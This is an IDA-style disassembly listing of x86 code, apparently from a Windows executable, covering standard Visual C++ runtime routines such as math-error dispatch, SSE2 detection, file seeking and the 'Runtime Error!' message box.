		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4288D8


loc_4197A7:				; CODE XREF: sub_419794+3Cj
		cmp	[ebp+var_1C], offset dword_4288D8
		jnb	short loc_4197D2
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4197C8
		call	eax
		jmp	short loc_4197C8
; ---------------------------------------------------------------------------


loc_4197C1:				; DATA XREF: .rdata:stru_427FA8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4197C5:				; DATA XREF: .rdata:stru_427FA8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_4197C8:				; CODE XREF: sub_419794+27j
					; sub_419794+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_4197D2:				; CODE XREF: sub_419794+1Aj
		call	__SEH_epilog
		retn
sub_419794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197D8	proc near		; CODE XREF: sub_414670+B5p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	ecx, 0A1h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		cmp	eax, ecx
		push	esi
		jg	loc_41990D
		jz	loc_419901
		cmp	eax, 18h
		jg	loc_419891
		jz	short loc_41987E
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_41986F
		dec	eax
		jz	short loc_419863
		sub	eax, 5
		jz	short loc_419854
		dec	eax
		jz	short loc_419848
		sub	eax, 5
		jz	short loc_419835
		dec	eax
		jnz	loc_419A5E
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_4198D2
; ---------------------------------------------------------------------------


loc_419835:				; CODE XREF: sub_4197D8+48j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_419848:				; CODE XREF: sub_4197D8+43j
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_4199FB
; ---------------------------------------------------------------------------


loc_419854:				; CODE XREF: sub_4197D8+40j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_419863:				; CODE XREF: sub_4197D8+3Bj
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_4199FB
; ---------------------------------------------------------------------------


loc_41986F:				; CODE XREF: sub_4197D8+38j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_41987E:				; CODE XREF: sub_4197D8+31j
		mov	[ebp+var_24], 3


loc_419885:				; CODE XREF: sub_4197D8+E5j
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_419891:				; CODE XREF: sub_4197D8+2Bj
		sub	eax, 19h
		jz	short loc_4198CB
		dec	eax
		jz	short loc_4198BF
		dec	eax
		jz	short loc_4198B6
		dec	eax
		jz	loc_4199F4
		dec	eax
		jnz	loc_419A5E
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_419A1C
; ---------------------------------------------------------------------------


loc_4198B6:				; CODE XREF: sub_4197D8+C2j
		mov	[ebp+var_24], 2
		jmp	short loc_419885
; ---------------------------------------------------------------------------


loc_4198BF:				; CODE XREF: sub_4197D8+BFj
		mov	eax, [ebp+arg_8]
		fld1
		fstp	qword ptr [eax]
		jmp	loc_419A5E
; ---------------------------------------------------------------------------


loc_4198CB:				; CODE XREF: sub_4197D8+BCj
		mov	[ebp+var_20], offset aPow ; "pow"


loc_4198D2:				; CODE XREF: sub_4197D8+58j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		mov	[ebp+var_24], 4
		fstp	[ebp+var_C]
		call	off_42CF48
		pop	ecx
		jmp	loc_419A59
; ---------------------------------------------------------------------------


loc_419901:				; CODE XREF: sub_4197D8+22j
		mov	[ebp+var_24], 3
		jmp	loc_41998D
; ---------------------------------------------------------------------------


loc_41990D:				; CODE XREF: sub_4197D8+1Cj
		mov	ecx, 3EAh
		cmp	eax, ecx
		jg	loc_4199D8
		jz	loc_4199CF
		sub	eax, 0A2h
		jz	short loc_419986
		sub	eax, 4
		jz	short loc_419976
		sub	eax, 4
		jz	short loc_419966
		dec	eax
		jz	short loc_41995A
		sub	eax, 33Dh
		jz	short loc_41994E
		dec	eax
		jnz	loc_419A5E
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_419A1C
; ---------------------------------------------------------------------------


loc_41994E:				; CODE XREF: sub_4197D8+161j
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_419A1C
; ---------------------------------------------------------------------------


loc_41995A:				; CODE XREF: sub_4197D8+15Aj
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	loc_4199FB
; ---------------------------------------------------------------------------


loc_419966:				; CODE XREF: sub_4197D8+157j
		mov	[ebp+var_24], 2
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	short loc_419994
; ---------------------------------------------------------------------------


loc_419976:				; CODE XREF: sub_4197D8+152j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp10 ; "exp10"
		jmp	short loc_419994
; ---------------------------------------------------------------------------


loc_419986:				; CODE XREF: sub_4197D8+14Dj
		mov	[ebp+var_24], 4


loc_41998D:				; CODE XREF: sub_4197D8+130j
		mov	[ebp+var_20], offset aExp2 ; "exp2"


loc_419994:				; CODE XREF: sub_4197D8+6Bj
					; sub_4197D8+86j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	off_42CF48
		test	eax, eax
		pop	ecx
		jnz	loc_419A59
		call	sub_417C70
		mov	dword ptr [eax], 22h
		jmp	loc_419A59
; ---------------------------------------------------------------------------


loc_4199CF:				; CODE XREF: sub_4197D8+142j
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_4199D8:				; CODE XREF: sub_4197D8+13Cj
		sub	eax, 3EBh
		jz	short loc_419A15
		dec	eax
		jz	short loc_419A0C
		dec	eax
		jz	short loc_419A03
		dec	eax
		jz	short loc_4199F4
		dec	eax
		jnz	short loc_419A5E
		mov	[ebp+var_20], offset aModf ; "modf"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_4199F4:				; CODE XREF: sub_4197D8+C5j
					; sub_4197D8+20Ej
		mov	[ebp+var_20], offset aPow ; "pow"


loc_4199FB:				; CODE XREF: sub_4197D8+77j
					; sub_4197D8+92j ...
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		jmp	short loc_419A26
; ---------------------------------------------------------------------------


loc_419A03:				; CODE XREF: sub_4197D8+20Bj
		mov	[ebp+var_20], offset aFloor ; "floor"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_419A0C:				; CODE XREF: sub_4197D8+208j
		mov	[ebp+var_20], offset aCeil ; "ceil"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_419A15:				; CODE XREF: sub_4197D8+205j
		mov	[ebp+var_20], offset aAtan ; "atan"


loc_419A1C:				; CODE XREF: sub_4197D8+D9j
					; sub_4197D8+171j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	esi, [ebp+arg_8]
		fstp	qword ptr [esi]


loc_419A26:				; CODE XREF: sub_4197D8+229j
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		fstp	[ebp+var_1C]
		mov	[ebp+var_24], 1
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	off_42CF48
		test	eax, eax
		pop	ecx
		jnz	short loc_419A59
		call	sub_417C70
		mov	dword ptr [eax], 21h


loc_419A59:				; CODE XREF: sub_4197D8+124j
					; sub_4197D8+1E1j ...
		fld	[ebp+var_C]
		fstp	qword ptr [esi]


loc_419A5E:				; CODE XREF: sub_4197D8+4Bj
					; sub_4197D8+CCj ...
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_4182D6
		leave
		retn
sub_4197D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A6C	proc near		; CODE XREF: sub_419AA1+3Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_428068
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_419A94
; ---------------------------------------------------------------------------


loc_419A8D:				; DATA XREF: .rdata:stru_428068o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419A91:				; DATA XREF: .rdata:stru_428068o
		mov	esp, [ebp+ms_exc.old_esp]


loc_419A94:				; CODE XREF: sub_419A6C+1Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_419A6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AA1	proc near		; DATA XREF: .data:0042A01Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	edi
		push	esi
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_419AC4
		push	ecx
		popf
		mov	eax, 1
		cpuid


loc_419AC4:				; CODE XREF: sub_419AA1+18j
		mov	[ebp+var_4], edx
		and	dword_47A3E4, 0
		and	dword_47A3E0, 0
		test	byte ptr [ebp+var_4+3],	4
		jz	short loc_419AF1
		call	sub_419A6C
		test	eax, eax
		jz	short loc_419AF1
		xor	eax, eax
		inc	eax
		mov	dword_47A3E4, eax
		mov	dword_47A3E0, eax


loc_419AF1:				; CODE XREF: sub_419AA1+38j
					; sub_419AA1+41j
		xor	eax, eax
		pop	esi
		pop	edi
		pop	ebx
		leave
		retn
sub_419AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419AF8(double)

sub_419AF8	proc near		; CODE XREF: sub_414670+7j
					; sub_414670+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_42CF4C
		call	sub_41D6DE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_419B7E
		call	sub_41D5AE
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_419B61
		cmp	eax, 2
		jle	short loc_419B53
		cmp	eax, 3
		jnz	short loc_419B61
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Bh		; int
		call	sub_41D460
		add	esp, 10h
		jmp	short loc_419BC5
; ---------------------------------------------------------------------------


loc_419B53:				; CODE XREF: sub_419AF8+3Fj
		push	esi
		push	ebx
		call	sub_41D6DE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_419BC5
; ---------------------------------------------------------------------------


loc_419B61:				; CODE XREF: sub_419AF8+3Aj
					; sub_419AF8+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	ds:dbl_427A70
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_419BBD
; ---------------------------------------------------------------------------


loc_419B7E:				; CODE XREF: sub_419AF8+2Fj
		call	sub_41D571
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	ecx
		fcomp	[ebp+arg_0]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_419BA3


loc_419B95:				; CODE XREF: sub_419AF8+AEj
		push	esi
		push	ebx
		call	sub_41D6DE
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_419BC5
; ---------------------------------------------------------------------------


loc_419BA3:				; CODE XREF: sub_419AF8+9Bj
		test	bl, 20h
		jnz	short loc_419B95
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_419BBD:				; CODE XREF: sub_419AF8+84j
		call	sub_41D4B3
		add	esp, 1Ch


loc_419BC5:				; CODE XREF: sub_419AF8+59j
					; sub_419AF8+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_419AF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BC9	proc near		; CODE XREF: sub_417536+18Bp
					; sub_419C3D+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41B76B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419BEA
		call	sub_417C70
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419BEA:				; CODE XREF: sub_419BC9+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:dword_41F05C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_419C0B
		call	ds:dword_41F008
		jmp	short loc_419C0D
; ---------------------------------------------------------------------------


loc_419C0B:				; CODE XREF: sub_419BC9+38j
		xor	eax, eax


loc_419C0D:				; CODE XREF: sub_419BC9+40j
		test	eax, eax
		jz	short loc_419C1D
		push	eax
		call	sub_417C82
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_419C3A
; ---------------------------------------------------------------------------


loc_419C1D:				; CODE XREF: sub_419BC9+46j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		mov	eax, esi
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi


loc_419C3A:				; CODE XREF: sub_419BC9+52j
		pop	edi
		pop	esi
		retn
sub_419BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C3D	proc near		; CODE XREF: sub_414809+69p
					; sub_414AFC+D0p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00419CCC SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_428078
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_419CCC
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419CCC
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419C9C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_419BC9
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_419CB3
; ---------------------------------------------------------------------------


loc_419C9C:				; CODE XREF: sub_419C3D+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_419CB3:				; CODE XREF: sub_419C3D+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_419CC4
		mov	eax, [ebp+var_1C]
		jmp	short loc_419CE2
sub_419C3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CC1	proc near		; DATA XREF: .rdata:stru_428078o
		mov	ebx, [ebp+8]
sub_419CC1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419CC4	proc near		; CODE XREF: sub_419C3D+7Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_419CC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419C3D


loc_419CCC:				; CODE XREF: sub_419C3D+15j
					; sub_419C3D+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_419CE2:				; CODE XREF: sub_419C3D+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_419C3D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CE8	proc near		; CODE XREF: sub_414809+2Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+10h]
		xor	ebx, ebx
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_419D04
		mov	[edi+4], ebx


loc_419D04:				; CODE XREF: sub_419CE8+17j
		push	1
		push	ebx
		push	esi
		call	sub_419C3D
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_419D85
		mov	ecx, [edi+0Ch]
		test	cx, 108h
		jnz	short loc_419D29
		sub	eax, [edi+4]
		jmp	loc_419E45
; ---------------------------------------------------------------------------


loc_419D29:				; CODE XREF: sub_419CE8+37j
		mov	eax, [edi]
		mov	edx, [edi+8]
		mov	ebx, eax
		sub	ebx, edx
		test	cl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_419D76
		mov	ebx, esi
		mov	ecx, esi
		sar	ebx, 5
		mov	ebx, dword_47A2E0[ebx*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		test	byte ptr [ebx+ecx*4+4],	80h
		jz	short loc_419D68
		mov	ecx, edx
		cmp	ecx, eax
		jnb	short loc_419D68


loc_419D5B:				; CODE XREF: sub_419CE8+7Ej
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_419D63
		inc	[ebp+var_8]


loc_419D63:				; CODE XREF: sub_419CE8+76j
		inc	ecx
		cmp	ecx, [edi]
		jb	short loc_419D5B


loc_419D68:				; CODE XREF: sub_419CE8+6Bj
					; sub_419CE8+71j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_419D8D
		mov	eax, [ebp+var_8]
		jmp	loc_419E45
; ---------------------------------------------------------------------------


loc_419D76:				; CODE XREF: sub_419CE8+50j
		test	cl, cl
		js	short loc_419D68
		call	sub_417C70
		mov	dword ptr [eax], 16h


loc_419D85:				; CODE XREF: sub_419CE8+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_419E45
; ---------------------------------------------------------------------------


loc_419D8D:				; CODE XREF: sub_419CE8+84j
		test	byte ptr [edi+0Ch], 1
		jz	loc_419E3D
		mov	ecx, [edi+4]
		test	ecx, ecx
		jnz	short loc_419DA6
		and	[ebp+var_8], ecx
		jmp	loc_419E3D
; ---------------------------------------------------------------------------


loc_419DA6:				; CODE XREF: sub_419CE8+B4j
		sub	eax, edx
		add	eax, ecx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:47A2E0h[eax*4]
		mov	eax, esi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_419E37
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_419C3D
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_419DFE
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax
		jmp	short loc_419DF4
; ---------------------------------------------------------------------------


loc_419DEB:				; CODE XREF: sub_419CE8+10Ej
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419DF3
		inc	[ebp+arg_0]


loc_419DF3:				; CODE XREF: sub_419CE8+106j
		inc	eax


loc_419DF4:				; CODE XREF: sub_419CE8+101j
		cmp	eax, ecx
		jb	short loc_419DEB
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_419E32
; ---------------------------------------------------------------------------


loc_419DFE:				; CODE XREF: sub_419CE8+F7j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_419C3D
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_419E25
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_419E25
		test	ch, 4
		jz	short loc_419E28


loc_419E25:				; CODE XREF: sub_419CE8+12Ej
					; sub_419CE8+136j
		mov	eax, [edi+18h]


loc_419E28:				; CODE XREF: sub_419CE8+13Bj
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_419E32:				; CODE XREF: sub_419CE8+114j
		jz	short loc_419E37
		inc	[ebp+arg_0]


loc_419E37:				; CODE XREF: sub_419CE8+E3j
					; sub_419CE8:loc_419E32j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_419E3D:				; CODE XREF: sub_419CE8+A9j
					; sub_419CE8+B9j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_419E45:				; CODE XREF: sub_419CE8+3Cj
					; sub_419CE8+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E4A	proc near		; CODE XREF: sub_4148E1+12p
					; sub_414906+12p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax


loc_419E68:				; CODE XREF: sub_419E4A+2Bj
		cmp	ecx, dword_42CF50[eax*8]
		jz	short loc_419E77
		inc	eax
		cmp	eax, 12h
		jb	short loc_419E68


loc_419E77:				; CODE XREF: sub_419E4A+25j
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_42CF50[esi]
		jnz	loc_419FAB
		mov	eax, dword_479EA8
		cmp	eax, 1
		jz	loc_419F86
		cmp	eax, edx
		jnz	short loc_419EA7
		cmp	dword_42C744, 1
		jz	loc_419F86


loc_419EA7:				; CODE XREF: sub_419E4A+4Ej
		cmp	ecx, 0FCh
		jz	loc_419FAB
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	edx
		mov	[ebp+var_8], dl
		call	ds:dword_41F010
		test	eax, eax
		jnz	short loc_419EE0
		lea	eax, [ebp+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41B390
		pop	ecx
		pop	ecx


loc_419EE0:				; CODE XREF: sub_419E4A+81j
		lea	eax, [ebp+var_10C]
		push	eax
		lea	edi, [ebp+var_10C]
		call	sub_416000
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_419F22
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_416000
		mov	edi, eax
		lea	eax, [ebp+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_412C40
		add	esp, 10h


loc_419F22:				; CODE XREF: sub_419E4A+ADj
		push	edi
		call	sub_416000
		push	off_42CF54[esi]
		mov	ebx, eax
		call	sub_416000
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_41B390
		push	edi
		push	ebx
		call	sub_41B3A0
		push	offset asc_4283A8 ; "\n\n"
		push	ebx
		call	sub_41B3A0
		push	off_42CF54[esi]
		push	ebx
		call	sub_41B3A0
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_41D75B
		add	esp, 2Ch
		jmp	short loc_419FAB
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E4A+46j
					; sub_419E4A+57j
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	esi, off_42CF54[esi]
		push	dword ptr [esi]
		call	sub_416000
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_41F190
		push	eax
		call	ds:dword_41F038


loc_419FAB:				; CODE XREF: sub_419E4A+38j
					; sub_419E4A+63j ...
		lea	esp, [ebp-118h]
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FC1	proc near		; CODE XREF: sub_4148E1+9p
					; sub_414906+9p
		mov	eax, dword_479EA8
		cmp	eax, 1
		jz	short loc_419FD8
		test	eax, eax
		jnz	short locret_419FF9
		cmp	dword_42C744, 1
		jnz	short locret_419FF9


loc_419FD8:				; CODE XREF: sub_419FC1+8j
		push	0FCh
		call	sub_419E4A
		mov	eax, dword_47A028
		test	eax, eax
		pop	ecx
		jz	short loc_419FEE
		call	eax


loc_419FEE:				; CODE XREF: sub_419FC1+29j
		push	0FFh
		call	sub_419E4A
		pop	ecx

locret_419FF9:				; CODE XREF: sub_419FC1+Cj
					; sub_419FC1+15j
		retn
sub_419FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FFA	proc near		; CODE XREF: .text:00414ACEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_415456
		mov	edi, [ebp+arg_0]
		mov	esi, eax
		mov	edx, [esi+54h]
		mov	eax, dword_42D064
		mov	ecx, edx


loc_41A015:				; CODE XREF: sub_419FFA+2Aj
		cmp	[ecx], edi
		jz	short loc_41A026
		lea	ebx, [eax+eax*2]
		add	ecx, 0Ch
		lea	ebx, [edx+ebx*4]
		cmp	ecx, ebx
		jb	short loc_41A015


loc_41A026:				; CODE XREF: sub_419FFA+1Dj
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		cmp	ecx, eax
		jnb	short loc_41A034
		cmp	[ecx], edi
		jz	short loc_41A036


loc_41A034:				; CODE XREF: sub_419FFA+34j
		xor	ecx, ecx


loc_41A036:				; CODE XREF: sub_419FFA+38j
		test	ecx, ecx
		jz	loc_41A150
		mov	ebx, [ecx+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_41A150
		cmp	ebx, 5
		jnz	short loc_41A05D
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_41A159
; ---------------------------------------------------------------------------


loc_41A05D:				; CODE XREF: sub_419FFA+55j
		cmp	ebx, 1
		jz	loc_41A14B
		mov	eax, [esi+58h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+58h], eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_41A13D
		mov	edx, dword_42D058
		mov	eax, dword_42D05C
		add	eax, edx
		cmp	edx, eax
		jge	short loc_41A0B6
		lea	eax, [edx+edx*2]
		shl	eax, 2


loc_41A095:				; CODE XREF: sub_419FFA+B7j
		mov	edi, [esi+54h]
		and	dword ptr [eax+edi+8], 0
		mov	edi, dword_42D058
		mov	ebx, dword_42D05C
		inc	edx
		add	ebx, edi
		add	eax, 0Ch
		cmp	edx, ebx
		jl	short loc_41A095
		mov	ebx, [ebp+arg_0]


loc_41A0B6:				; CODE XREF: sub_419FFA+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	edi, [esi+5Ch]
		jnz	short loc_41A0CC
		mov	dword ptr [esi+5Ch], 83h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


